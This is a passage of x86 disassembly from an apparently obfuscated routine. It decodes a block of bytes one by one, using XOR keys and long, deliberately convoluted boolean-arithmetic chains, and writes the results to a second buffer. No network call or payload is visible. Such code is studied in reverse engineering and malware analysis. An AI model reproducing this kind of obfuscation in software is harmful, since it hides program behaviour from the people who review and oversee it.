xor cl, 0x61
mov byte [0x47537c], cl
mov al, byte [0x47517d]
xor al, 0x13
mov byte [0x47537d], al
mov al, byte [0x47517e]
mov ah, al
xor ah, 0xff
and ah, 0xd2
mov cl, al
and cl, 0x2d
or ah, cl
xor ah, 0x2d
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
mov dl, ah
xor dl, 0xff
mov ch, cl
xor ch, 0xff
and dl, ch
or ah, cl
xor ah, 0xff
or dl, ah
xor dl, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
mov cl, dl
and cl, 0xea
xor cl, 0xff
add dl, 0xea
add dl, 1
add dl, cl
xor al, 0xff
or al, 0x15
and dl, al
mov al, dl
xor al, 0xff
xor dl, 0xff
and al, dl
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
mov byte [0x47537e], al
mov al, byte [0x47517f]
mov cl, al
xor cl, 0x48
xor cl, 0xff
and cl, 0x48
shl cl, 1
sub cl, 0x48
sub al, cl
mov byte [str.G_OQV], al
mov al, byte [0x475180]
xor al, 0x32
mov byte [0x475380], al
mov al, byte [0x475181]
xor al, 0xc4
mov byte [0x475381], al
mov al, byte [0x475182]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x7c
xor dl, 0xff
mov cl, al
and cl, 0x83
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
or dl, cl
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and dl, 0x7c
shl dl, 1
add dl, 0x84
xor dl, 0xff
add al, dl
add al, 1
mov byte [0x475382], al
mov al, byte [0x475183]
xor al, 0xf1
mov byte [0x475383], al
mov al, byte [0x475184]
mov cl, al
xor cl, 0xff
and cl, 0x6d
and al, 0x92
or cl, al
xor cl, 1
mov byte [0x475384], cl
mov bl, byte [0x475185]
mov dl, bl
xor dl, 0x1d
xor dl, 0xff
xor dl, 0xff
xor dl, 0x1d
and dl, 0x1d
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0xe2
add al, 1
xor al, 0xff
add bl, al
add bl, 1
mov byte [str._Vx], bl
mov dl, byte [0x475186]
mov al, dl
xor al, 0xff
xor al, 0xff
xor al, 0x2f
and al, 0x2f
mov cl, dl
xor cl, 0xd0
xor cl, 0xff
or dl, 0xd0
and dl, cl
or al, dl
xor al, 0x7d
mov byte [0x475386], al
mov al, byte [0x475187]
xor al, 0x14
mov byte [0x475387], al
mov al, byte [0x475188]
mov cl, al
and cl, 0xae
shl cl, 1
add al, 0xae
sub al, cl
mov byte [0x475388], al
mov al, byte [0x475189]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 4
or al, 4
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475389], dl
mov al, byte [0x47518a]
xor al, 0xf7
mov byte [0x47538a], al
mov al, byte [0x47518b]
mov cl, al
xor cl, 1
xor cl, 0xff
and cl, 1
shl cl, 1
add cl, 0xe5
sub cl, 1
sub cl, 0xe5
sub al, cl
mov byte [0x47538b], al
mov al, byte [0x47518c]
mov cl, al
xor cl, 0xff
and cl, 0x3f
and al, 0xc0
or cl, al
xor cl, 0x93
mov byte [0x47538c], cl
mov al, byte [0x47518d]
xor al, 0x70
mov byte [0x47538d], al
mov al, byte [0x47518e]
xor al, 0x1e
mov byte [0x47538e], al
mov al, byte [0x47518f]
mov cl, al
xor cl, 0xff
and cl, 0xc4
mov dl, al
xor dl, 0x3b
xor dl, 0xff
or al, 0x3b
and al, dl
or cl, al
mov byte [0x47538f], cl
mov dl, byte [0x475190]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
or al, 0xbb
xor al, 0xff
and al, 0xff
and dl, 0xbb
or al, dl
xor al, 0x2e
mov byte [0x475390], al
mov al, byte [0x475191]
mov cl, al
xor cl, 0xde
xor cl, 0xff
and cl, 0xde
shl cl, 1
sub cl, 0xde
sub al, cl
mov byte [0x475391], al
mov al, byte [0x475192]
xor al, 0xee
mov byte [0x475392], al
mov al, byte [0x475193]
mov cl, al
xor cl, 0xff
and cl, 0xc
and al, 0xf3
or cl, al
mov byte [0x475393], cl
mov al, byte [0x475194]
xor al, 0xe9
mov byte [0x475394], al
mov al, byte [0x475195]
xor al, 0xa
mov byte [0x475395], al
mov al, byte [0x475196]
xor al, 0x43
mov byte [0x475396], al
mov al, byte [0x475197]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x5c
xor dl, 0xff
or al, 0xa3
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475397], dl
mov ah, byte [0x475198]
mov al, ah
xor al, 0xff
mov cl, ah
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xce
mov dh, ah
xor dh, 0xff
mov dl, dh
and dl, 0xb8
and ah, 0x47
or dl, ah
xor dl, 0x76
or dh, 0x31
xor dh, 0xff
and dh, 0xff
or dl, dh
xor dl, 0xff
or al, dl
xor al, 0xff
mov byte [0x475398], al
mov al, byte [0x475199]
xor al, 0x90
mov byte [0x475399], al
mov al, byte [0x47519a]
mov cl, al
xor cl, 0xff
and cl, 0xf4
mov dl, al
xor dl, 0xf4
and dl, al
or cl, dl
mov byte [0x47539a], cl
mov al, byte [0x47519b]
xor al, 0x17
mov byte [str._Q7QR], al
mov bl, byte [0x47519c]
mov dl, bl
xor dl, 0xff
or dl, 0xd1
mov al, bl
and al, 0x2e
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 0xd2
sub bl, al
mov byte [0x47539c], bl
mov al, byte [0x47519d]
xor al, 0xe3
mov byte [0x47539d], al
mov al, byte [0x47519e]
xor al, 0xbe
mov byte [0x47539e], al
mov al, byte [0x47519f]
xor al, 0x32
mov byte [0x47539f], al
mov al, byte [0x4751a0]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0xb4
add dl, cl
shl dl, 1
add al, 0xb4
mov cl, al
xor cl, 0xff
and cl, dl
xor dl, 0xff
and al, dl
sub al, cl
mov byte [0x4753a0], al
mov al, byte [0x4751a1]
xor al, 0xad
mov byte [0x4753a1], al
mov al, byte [0x4751a2]
mov cl, al
xor cl, 0xff
and cl, 0xad
and al, 0x52
or cl, al
mov byte [str.gH9], cl
mov al, byte [0x4751a3]
xor al, 0x94
mov byte [0x4753a3], al
mov al, byte [0x4751a4]
xor al, 0x1e
mov byte [0x4753a4], al
mov dl, byte [0x4751a5]
mov al, dl
xor al, 0xff
or al, 0x68
add al, 0x98
mov cl, dl
and cl, 0x68
xor cl, 0xff
and dl, 0x68
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
or al, cl
mov byte [0x4753a5], al
mov al, byte [0x4751a6]
mov cl, al
xor cl, 0x15
xor cl, 0xff
and cl, 0x15
shl cl, 1
sub cl, 0x15
sub al, cl
mov byte [0x4753a6], al
mov al, byte [0x4751a7]
xor al, 0x75
mov byte [0x4753a7], al
mov al, byte [0x4751a8]
xor al, 0x26
mov byte [0x4753a8], al
mov al, byte [0x4751a9]
xor al, 0xce
mov byte [0x4753a9], al
mov al, byte [0x4751aa]
xor al, 0xd7
mov byte [0x4753aa], al
mov al, byte [0x4751ab]
xor al, 0x34
mov byte [0x4753ab], al
mov al, byte [0x4751ac]
mov ah, al
xor ah, 0xff
and ah, 0xb
mov cl, al
and cl, 0xf4
or ah, cl
xor ah, 0xf4
mov cl, al
xor cl, 0xff
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and cl, cl
xor cl, 0xff
and dl, cl
xor dl, 0xff
mov cl, dl
xor cl, 0x20
xor cl, 0xff
or dl, 0x20
and dl, cl
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
mov cl, al
and cl, 0xdf
mov ah, al
xor ah, 0x20
add al, ah
sub al, cl
mov cl, dl
and cl, al
xor cl, 0xff
and dl, al
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x4753ac], cl
mov bl, byte [0x4751ad]
mov dl, bl
xor dl, 0xff
and dl, 0xa5
mov al, bl
and al, 0x5a
or dl, al
xor dl, 0xff
and dl, 0xa5
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x5a
add al, 1
sub bl, al
mov byte [0x4753ad], bl
mov al, byte [0x4751ae]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xe1
xor al, 0xff
and al, 0x1e
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4753ae], dl
mov al, byte [0x4751af]
xor al, 0xca
mov byte [0x4753af], al
mov al, byte [0x4751b0]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0xff
or dl, 0x1d
and cl, 0xe2
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
or dl, cl
and al, 0x1d
and dl, dl
xor dl, 0xff
and al, al
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
xor dl, 0x27
mov byte [0x4753b0], dl
mov al, byte [0x4751b1]
mov cl, al
xor cl, 0xff
and cl, 0x86
and al, 0x79
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and al, al
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x4753b1], dl
mov dl, byte [0x4751b2]
mov al, dl
and al, al
xor al, 0xff
mov cl, al
xor cl, 0xc1
xor cl, 0xff
or al, 0xc1
and al, cl
xor al, 0xff
and dl, 0x3e
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0
and al, cl
xor al, 0xff
mov byte [0x4753b2], al
mov al, byte [0x4751b3]
mov ah, al
xor ah, 0xff
and ah, 0xaf
mov cl, al
xor cl, 0x50
xor cl, 0xff
or al, 0x50
and al, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
xor dl, 0xff
xor cl, 0xff
or dl, cl
mov byte [0x4753b3], dl
mov al, byte [0x4751b4]
mov cl, al
and cl, cl
xor cl, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0x6d
xor dl, 0xff
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
and al, 0x6d
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x4753b4], dl
mov al, byte [0x4751b5]
mov cl, al
and cl, 0x53
shl cl, 1
add al, 0x53
sub al, cl
mov byte [0x4753b5], al
mov al, byte [0x4751b6]
mov cl, al
xor cl, 0x35
xor cl, 0xff
and cl, 0x35
shl cl, 1
sub cl, 0x35
sub al, cl
mov byte [0x4753b6], al
mov al, byte [0x4751b7]
xor al, 0x98
mov byte [0x4753b7], al
mov al, byte [0x4751b8]
xor al, 0x39
mov byte [0x4753b8], al
mov bl, byte [0x4751b9]
mov dl, bl
xor dl, 0xff
and dl, 0xa
mov al, bl
and al, 0xf5
or dl, al
xor dl, 0x95
xor dl, 0xff
and dl, 0x9f
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x9f
sub bl, al
mov byte [0x4753b9], bl
mov bl, byte [0x4751ba]
mov al, bl
add al, 1
mov dl, bl
xor dl, 0xff
or dl, 0x23
add dl, al
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x60
add bl, 0x23
sub bl, 0x60
xor ecx, ecx
sub cl, al
add bl, cl
mov byte [0x4753ba], bl
mov al, byte [0x4751bb]
mov cl, al
xor cl, 0xff
and cl, 0xf9
mov dl, al
and dl, 6
or cl, dl
xor cl, 6
and cl, 0x31
and al, 0xce
or cl, al
mov byte [0x4753bb], cl
mov al, byte [0x4751bc]
mov cl, al
xor cl, 0xff
or cl, 7
add cl, 0xf9
and al, 7
or cl, al
mov byte [0x4753bc], cl
mov al, byte [0x4751bd]
xor al, 0x27
mov byte [0x4753bd], al
mov dl, byte [0x4751be]
mov cl, dl
and cl, cl
xor cl, 0xff
mov al, dl
add al, al
add al, 1
add al, cl
xor al, 0xff
mov cl, al
and cl, 0x63
xor cl, 0xff
add al, 0x63
add al, 1
add al, cl
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
or dl, 0x9c
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
or cl, 0
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
or al, cl
xor al, 0xff
mov byte [0x4753be], al
mov al, byte [0x4751bf]
mov dl, al
xor dl, 0xff
or dl, 0xbf
mov cl, al
and cl, 0x40
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
or dl, cl
shl dl, 1
add al, 0x40
sub al, dl
mov byte [0x4753bf], al
mov al, byte [0x4751c0]
mov cl, al
and cl, 0x61
shl cl, 1
add al, 0x61
sub al, cl
mov byte [0x4753c0], al
mov dl, byte [0x4751c1]
mov cl, dl
xor cl, 0xff
mov al, cl
xor al, 0xff
or al, 0xa9
xor cl, 0xff
or cl, 0xa9
xor al, 0xff
xor cl, 0xff
or al, cl
and dl, 0xa9
and al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor al, 0xff
xor cl, 0xff
or al, cl
mov byte [0x4753c1], al
mov al, byte [0x4751c2]
mov cl, al
and cl, 0xfc
shl cl, 1
mov dl, al
add dl, 0xfc
sub dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 3
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xfc
mov cl, al
xor cl, dl
xor dl, 0xff
and al, dl
shl al, 1
sub al, cl
mov byte [0x4753c2], al
mov al, byte [0x4751c3]
xor al, 0xbb
mov byte [0x4753c3], al
mov al, byte [0x4751c4]
mov cl, al
xor cl, 0x70
xor cl, 0xff
and cl, 0x70
shl cl, 1
sub cl, 0x70
sub al, cl
mov byte [0x4753c4], al
mov al, byte [0x4751c5]
mov dl, al
xor dl, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
mov ah, al
add ah, 0xff
sub ah, cl
and dl, ah
or dl, 0x51
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
or al, 0xae
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
and ah, 0xff
xor ah, 0xff
xor ah, 0xff
or ah, 0
xor al, 0xff
xor ah, 0xff
xor al, 0xff
or ah, al
xor ah, 0xff
and ah, 0xff
mov byte [0x4753c5], ah
mov al, byte [0x4751c6]
xor al, 0xdf
mov byte [0x4753c6], al
mov al, byte [0x4751c7]
xor al, 0xb6
mov byte [0x4753c7], al
mov dl, byte [0x4751c8]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
and al, 0x16
xor al, 0xff
xor dl, 0xff
or dl, 0x16
and al, dl
xor al, 0xff
mov byte [0x4753c8], al
mov dl, byte [0x4751c9]
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov al, dl
sub al, cl
mov ah, dl
or ah, ah
xor ah, 0xff
or ah, 0
xor ah, 0xff
or ah, 0
xor ah, 0xff
and al, al
xor al, 0xff
and ah, ah
xor ah, 0xff
xor al, 0xff
xor ah, 0xff
or al, ah
xor al, 0xff
and al, 0xff
or al, 0
or al, 0x37
mov cl, dl
xor cl, 0x37
xor cl, 0xff
or dl, 0x37
and dl, cl
mov ah, dl
xor ah, 0xff
and ah, 0xb2
and dl, 0x4d
or ah, dl
xor ah, 0x4d
xor al, 0xff
xor ah, 0xff
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov byte [0x4753c9], cl
mov al, byte [0x4751ca]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0x25
and al, 0x25
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [str.Hk], dl
mov dl, byte [0x4751cb]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
mov cl, al
xor cl, 0xa5
xor cl, 0xff
or al, 0xa5
and al, cl
and dl, 0x5a
or al, dl
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x30
xor al, 0xff
and al, 0xcf
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4753cb], dl
mov al, byte [0x4751cc]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0xf0
add dl, cl
shl dl, 1
add al, 0x1b
add al, 0xf0
sub al, 0x1b
sub al, dl
mov byte [0x4753cc], al
mov al, byte [0x4751cd]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x12
and al, 0x12
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4753cd], dl
mov ah, byte [0x4751ce]
mov al, ah
or al, al
xor al, 0xff
mov cl, al
and cl, 0x8c
mov dl, al
xor dl, 0x73
add al, dl
sub al, cl
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov dl, dh
and dl, 0x96
and ah, 0x69
or dl, ah
xor dl, 0x1a
or dh, 0x73
xor dh, 0xff
and dh, 0xff
or dl, dh
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
and al, dl
mov byte [0x4753ce], al
mov al, byte [0x4751cf]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
and dl, 0x70
and al, 0x8f
or dl, al
mov byte [0x4753cf], dl
mov bl, byte [0x4751d0]
mov al, bl
xor al, 0xf3
mov dl, al
xor dl, 0xff
xor al, 0xff
and dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0xc
add dl, 0xf4
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xf3
mov cl, bl
xor cl, al
xor al, 0xff
and bl, al
shl bl, 1
sub bl, cl
mov byte [0x4753d0], bl
mov al, byte [0x4751d1]
mov cl, al
xor cl, 0xff
and cl, 0xe7
and al, 0x18
or cl, al
mov byte [0x4753d1], cl
mov al, byte [0x4751d2]
xor al, 0x86
mov byte [0x4753d2], al
mov al, byte [0x4751d3]
mov cl, al
and cl, 0x12
shl cl, 1
add al, 0x12
sub al, cl
mov byte [0x4753d3], al
mov dl, byte [0x4751d4]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
and al, 0xe8
and dl, 0x17
or al, dl
mov cl, al
xor cl, 0xff
and cl, 0x8c
and al, 0x73
or cl, al
xor cl, 0x63
mov byte [0x4753d4], cl
mov al, byte [0x4751d5]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xc6
or al, 0xc6
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x4753d5], cl
mov al, byte [0x4751d6]
mov cl, al
xor cl, 0xff
or cl, 0x95
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub al, 0x96
sub al, cl
mov byte [0x4753d6], al
mov al, byte [0x4751d7]
xor al, 0x81
mov byte [0x4753d7], al
mov al, byte [0x4751d8]
xor al, 0xa8
mov byte [0x4753d8], al
mov dl, byte [0x4751d9]
mov ah, dl
or ah, ah
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0xff
mov bl, dl
xor bl, 0xff
mov dh, ah
xor dh, 0xff
mov bh, bl
xor bh, 0xff
mov al, dh
and al, 0xd8
and ah, 0x27
mov cl, bh
and cl, 0xd8
and bl, 0x27
or al, ah
or cl, bl
xor al, cl
or dh, bh
xor dh, 0xff
and dh, 0xff
or al, dh
and al, 0x8e
xor al, 0xff
mov ah, dl
xor ah, 0xff
or ah, 0x8e
and dl, 0x71
xor dl, 0xff
and ah, dl
xor ah, 0xff
or ah, ah
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
or ah, 0
xor ah, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov cl, ah
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub ah, cl
or al, ah
mov byte [0x4753d9], al
mov al, byte [0x4751da]
xor al, 0xbc
mov byte [0x4753da], al
mov al, byte [0x4751db]
xor al, 0x70
mov byte [0x4753db], al
mov dl, byte [0x4751dc]
mov al, dl
or al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
mov ah, dl
xor ah, 0xff
and cl, ah
xor al, 0xff
xor cl, 0xff
and al, cl
xor al, 0xff
xor al, 0xff
or al, 0x56
mov ah, dl
xor ah, 0xa9
and ah, dl
xor ah, 0xff
mov dl, al
xor dl, 0xff
xor al, 0xff
and dl, al
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor ah, 0xff
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov byte [0x4753dc], al
mov al, byte [0x4751dd]
xor al, 0x2c
mov byte [0x4753dd], al
mov al, byte [0x4751de]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0xd4
xor dl, 0xff
or al, 0x2b
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4753de], dl
mov cl, byte [0x4751df]
mov al, cl
xor al, 0xff
and al, 0x38
mov dl, cl
xor dl, 0xff
or dl, 0x38
and cl, 0xc7
xor cl, 0xff
and dl, cl
xor dl, 0xff
or al, dl
xor al, 0xd3
mov byte [0x4753df], al
mov al, byte [0x4751e0]
mov dl, al
xor dl, 0xff
mov cl, dl
xor cl, 0x95
xor cl, 0xff
or dl, 0x95
and dl, cl
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x6a
add al, cl
or dl, al
mov byte [0x4753e0], dl
mov al, byte [0x4751e1]
mov cl, al
and cl, 0xac
shl cl, 1
add al, 0xac
sub al, cl
mov byte [0x4753e1], al
mov cl, byte [0x4751e2]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xef
or cl, 0xef
xor cl, 0xff
or al, cl
xor al, 0xff
mov byte [0x4753e2], al
mov al, byte [0x4751e3]
xor al, 0xa2
mov byte [0x4753e3], al
mov al, byte [0x4751e4]
xor al, 0x5f
mov byte [0x4753e4], al
mov al, byte [0x4751e5]
xor al, 0x68
mov byte [0x4753e5], al
mov al, byte [0x4751e6]
mov cl, al
and cl, 0x9c
shl cl, 1
add al, 0x9c
sub al, cl
mov byte [0x4753e6], al
mov al, byte [0x4751e7]
xor al, 0xbe
mov byte [0x4753e7], al
mov al, byte [0x4751e8]
xor al, 0x77
mov byte [0x4753e8], al
mov bl, byte [0x4751e9]
mov dl, bl
and dl, 0xc
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 0xf4
sub bl, al
mov byte [0x4753e9], bl
mov dl, byte [0x4751ea]
mov al, dl
and al, 0x90
xor al, 0xff
mov cl, dl
and cl, 0x90
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
or al, cl
shl al, 1
xor ebx, ebx
sub bl, dl
add bl, 0x70
xor edx, edx
sub dl, bl
xor ecx, ecx
sub cl, al
add dl, cl
mov byte [0x4753ea], dl
mov al, byte [0x4751eb]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xb2
xor dl, 0xff
and al, 0x4d
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4753eb], dl
mov al, byte [0x4751ec]
xor al, 0xf6
mov byte [0x4753ec], al
mov al, byte [0x4751ed]
mov cl, al
xor cl, 0xff
and cl, 0xae
xor al, 0xff
or al, 0xae
xor al, 0xff
and al, 0xff
or cl, al
xor cl, 0x3c
mov byte [0x4753ed], cl
mov al, byte [0x4751ee]
mov ah, al
xor ah, 0x38
xor ah, 0xff
mov dl, ah
xor dl, 0xff
or dl, 0xc7
and ah, 0x38
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
or dl, ah
shl dl, 1
sub dl, 0x38
sub al, dl
mov byte [0x4753ee], al
mov al, byte [0x4751ef]
xor al, 0xf
mov byte [0x4753ef], al
mov al, byte [0x4751f0]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0x5f
and al, 0x5f
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4753f0], dl
mov al, byte [0x4751f1]
mov cl, al
xor cl, 0xff
xor cl, 0xff
or cl, 0xc1
xor cl, 0xff
and cl, 0xff
and al, 0xc1
or cl, al
mov byte [0x4753f1], cl
mov dl, byte [0x4751f2]
mov al, dl
or al, al
mov ah, al
xor ah, 0xff
and ah, 0x11
and al, 0xee
or ah, al
xor ah, 0xee
xor ah, 0xff
mov al, ah
xor al, 0xff
xor ah, 0xff
and al, ah
or al, 0xda
xor al, 0xff
or dl, 0x25
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
and ah, 0xff
xor ah, 0xff
xor ah, 0xff
or ah, 0
mov dl, al
xor dl, 0xff
mov cl, ah
xor cl, 0xff
and al, 0xff
and ah, 0xff
or al, 0
or ah, 0
xor al, ah
or dl, cl
xor dl, 0xff
and dl, 0xff
or al, dl
xor al, 0xff
mov byte [0x4753f2], al
mov bl, byte [0x4751f3]
mov dl, bl
and dl, 0x15
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xc6
add bl, 0x15
sub bl, 0xc6
sub bl, al
mov byte [0x4753f3], bl
mov al, byte [0x4751f4]
xor al, 0x59
mov byte [0x4753f4], al
mov al, byte [0x4751f5]
mov cl, al
and cl, 0xc5
shl cl, 1
add al, 0xc5
sub al, cl
mov byte [0x4753f5], al
mov al, byte [0x4751f6]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
xor dl, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
mov cl, dl
and cl, 0x41
xor cl, 0xff
add dl, 0x41
add dl, 1
add dl, cl
xor al, 0xff
mov cl, al
and cl, 0xbe
xor cl, 0xff
add al, 0xbe
add al, 1
add al, cl
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4753f6], dl
mov al, byte [0x4751f7]
xor al, 0x97
mov byte [0x4753f7], al
mov al, byte [0x4751f8]
xor al, 0xa3
mov byte [0x4753f8], al
mov al, byte [0x4751f9]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0xcb
xor dl, 0xff
mov cl, al
or cl, 0x34
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
and dl, cl
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
and dl, 0x34
shl dl, 1
mov cl, dl
xor cl, 0x34
and dl, 0xcb
shl dl, 1
sub dl, cl
sub al, dl
mov byte [0x4753f9], al
mov dl, byte [0x4751fa]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
mov cl, al
and cl, 0x2a
mov ah, al
xor ah, 0xd5
add al, ah
sub al, cl
xor al, 0xff
mov dh, dl
xor dh, 0xff
mov ah, dh
and ah, 0xf6
and dl, 9
or ah, dl
xor ah, 0xdc
or dh, 0xd5
xor dh, 0xff
and dh, 0xff
or ah, dh
xor ah, 0xff
xor al, 0xff
xor ah, 0xff
mov cl, al
xor cl, 0xff
mov dl, ah
xor dl, 0xff
or cl, dl
and al, ah
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x4753fa], cl
mov al, byte [0x4751fb]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x15
xor dl, 0xff
mov cl, al
xor cl, 0xff
or cl, 0x15
and dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0x15
shl dl, 1
mov cl, dl
xor cl, 0x15
and dl, 0xea
shl dl, 1
sub dl, cl
sub al, dl
mov byte [0x4753fb], al
mov al, byte [0x4751fc]
xor al, 0x8b
mov byte [0x4753fc], al
mov al, byte [0x4751fd]
xor al, 0x6f
mov byte [0x4753fd], al
mov al, byte [0x4751fe]
mov cl, al
and cl, 0x5d
